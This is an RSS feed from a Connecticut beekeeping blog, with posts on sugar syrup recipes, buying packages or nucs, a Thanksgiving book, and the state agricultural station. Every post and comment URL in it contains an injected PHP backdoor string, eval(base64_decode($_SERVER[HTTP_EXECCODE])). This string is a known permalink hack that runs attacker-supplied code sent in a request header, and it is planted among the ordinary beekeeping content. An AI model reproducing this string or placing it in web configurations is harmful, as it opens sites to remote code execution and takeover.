beeblog » opinion http://ct-honey.com/beeblog The Beekeepers' Forum Mon, 09 Mar 2009 13:40:41 +0000 http://wordpress.org/?v=2.7 en hourly 1 What is the Best Recipe for Syrup? http://ct-honey.com/beeblog/2008/04/03/what-is-the-best-recipe-for-syrup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/04/03/what-is-the-best-recipe-for-syrup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 03 Apr 2008 13:38:25 +0000 stuart http://ct-honey.com/beeblog/?p=135 I’m feeding many gallons each day as my colonies begin to build up.  But I’m wondering whether there are other recipes for sugar syrup.  I mix a 5-lb. bag of sugar with enough hot water - about 2.5 quarts - to fill a gallon jug.  Does anyone else have a different recipe?  A better recipe?

]]> http://ct-honey.com/beeblog/2008/04/03/what-is-the-best-recipe-for-syrup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Packages or Nucs http://ct-honey.com/beeblog/2008/01/26/packages-or-nucs-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2008/01/26/packages-or-nucs-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 26 Jan 2008 12:16:07 +0000 jjkam http://ct-honey.com/beeblog/?p=127 I want to expand the number of hives I have by 2 or 3.  So far in my brief beekeeping life I have introduced packages (5 hives) and cannot say that I’ve encountered any difficulty in doing so.  However, I was thinking about starting the next 3 hives with nucs.  My reasoning is that the hives will be further along and they won’t have to draw out foundation from the start.  I’m curious as to what the established beekeepers out there do when increasing their bee yards.

Presumably, cost is a factor but I don’t really know how ahead of the game I would be if I picked up a 5 frame nuc for let’s say $30.00 more than a 3 lb. package.  Is that a smart thing to do or wasteful?  What should I be taking into consideration.

I was also thinking about looking for “local” bees or at least Northern bred bees.  Again, I’m thinking they would be hardier for Winter and would not be stressed from the travel often associated with Southern bees.  I’d like to hear comments on this too.

Thanks to anyone for their opinions.

]]> http://ct-honey.com/beeblog/2008/01/26/packages-or-nucs-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ A New Book By Glenn Cheney http://ct-honey.com/beeblog/2007/10/22/a-new-book-by-glenn-cheney/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/10/22/a-new-book-by-glenn-cheney/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 22 Oct 2007 18:05:54 +0000 stuart http://ct-honey.com/beeblog/?p=117 , a new book by Connecticut-based author Glenn Cheney, has just been published.  Cheney, who is also a beekeeper and occasional contributor to the beeblog, describes the Pilgrims’ motivation to emigrate to the New World and the travails they faced during their long and difficult voyage across the Atlantic, as well as their first year in Plymouth.  While it is not directly related to beekeeping, Cheney does manage to weave some beekeeping facts into his fascinating narrative.

Thanksgiving, by Glenn Alan Cheney

Thanksgiving, by Glenn Alan Cheney

Thanksgiving

Thanksgiving is available in both paperback ($15.95) and hardcover ($21.95) editions.  An excellent gift for just about anyone, it is available on the New London Librarium website.  And of course, with Thanksgiving fast approaching, it is a timely gift as well!

]]> http://ct-honey.com/beeblog/2007/10/22/a-new-book-by-glenn-cheney/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Response to “Where’s Conn. Ag. Station When We Need It?” http://ct-honey.com/beeblog/2007/09/04/response-to-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/09/04/response-to-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 05 Sep 2007 00:50:06 +0000 stuart http://ct-honey.com/beeblog/?p=113 I see it is time to add a new category: opinion.  I have done so and filed Post 109 under it.  This post is my response.

I agree that the Connecticut Agricultural Experiment Station (CAES) website is lacking when it comes to information for beekeepers.  It would be nice if there were a dedicated area on their site just for beekeeping information.  That said, there are a few useful documents that can be found with a “beekeeping” search on the site.

The CAES Bee Inspector is Ira Kettle, and his contact information can be found on the Entomology Department page.   I can personally attest that Ira is always accommodating.  Whenever I have spoken to him or asked him any question at all, he has been extremely helpful.  If you have a question, I encourage you to give him a call.

For the record, the beeblog would be happy to post any information that CAES wanted to get out to the beekeepers in the state.

The Connecticut Beekeepers Association is a great organization.  I am a member (OK, my membership recently lapsed but I plan on renewing it soon) and strongly recommend that all beekeepers in the state join.  They put out an informative newsletter and hold meetings that are well worth attending for all beekeepers.

In Eastern Connecticut, there is the Eastern Connecticut Beekeepers Association (ECBA).  It is an active, dynamic group that is constantly growing.  All of this, of course, is no thanks to me since I haven’t gotten around to joining yet!  (Sorry, guys!)  They do not have a website yet, as far as I know.  If any ECBA members are reading this and would like to post news and other information for the group, the beeblog would welcome any and all information.  That’s why it’s here!

There are other local groups in Connecticut and I’m sure they are all worthwhile.  Check out the one nearest to you!

Of course, if you are REALLY serious about beekeeping, there is the Eastern Apicultural Society.  They offer courses in beekeeping, present a yearly conference, publish a journal and have many resources on their website.

Finally, one of the best ways that beekeepers can stay informed is by actively communicating with one another.  After all, we’re the ones who see threats such as pests and diseases as they emerge.  We’re the ones who know what the conditions in our bee yards are like.  I started the beeblog to help us do that.  If you are a beekeeper, please let us know how your bees are doing.  If you’re having a problem, describe it and hopefully someone else will be able to help you out.  If you can help someone else, please do so.  We’re all in this together!

]]> http://ct-honey.com/beeblog/2007/09/04/response-to-3/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ Where’s Conn. Ag. station when we need it? http://ct-honey.com/beeblog/2007/09/04/wheres-conn-ag-station-when-we-need-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://ct-honey.com/beeblog/2007/09/04/wheres-conn-ag-station-when-we-need-it/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 04 Sep 2007 20:18:12 +0000 gcheney http://ct-honey.com/beeblog/?p=109 Hey, how come the Connecticut Agricultural Station isn’t making daily contributions to this blog? It would be very, very helpful if they did. I’d be interested in any news about beekeeping in Connecticut, like especially reports of diseases and parasites in the state. Wouldn’t that be a helpful thing for them to do?

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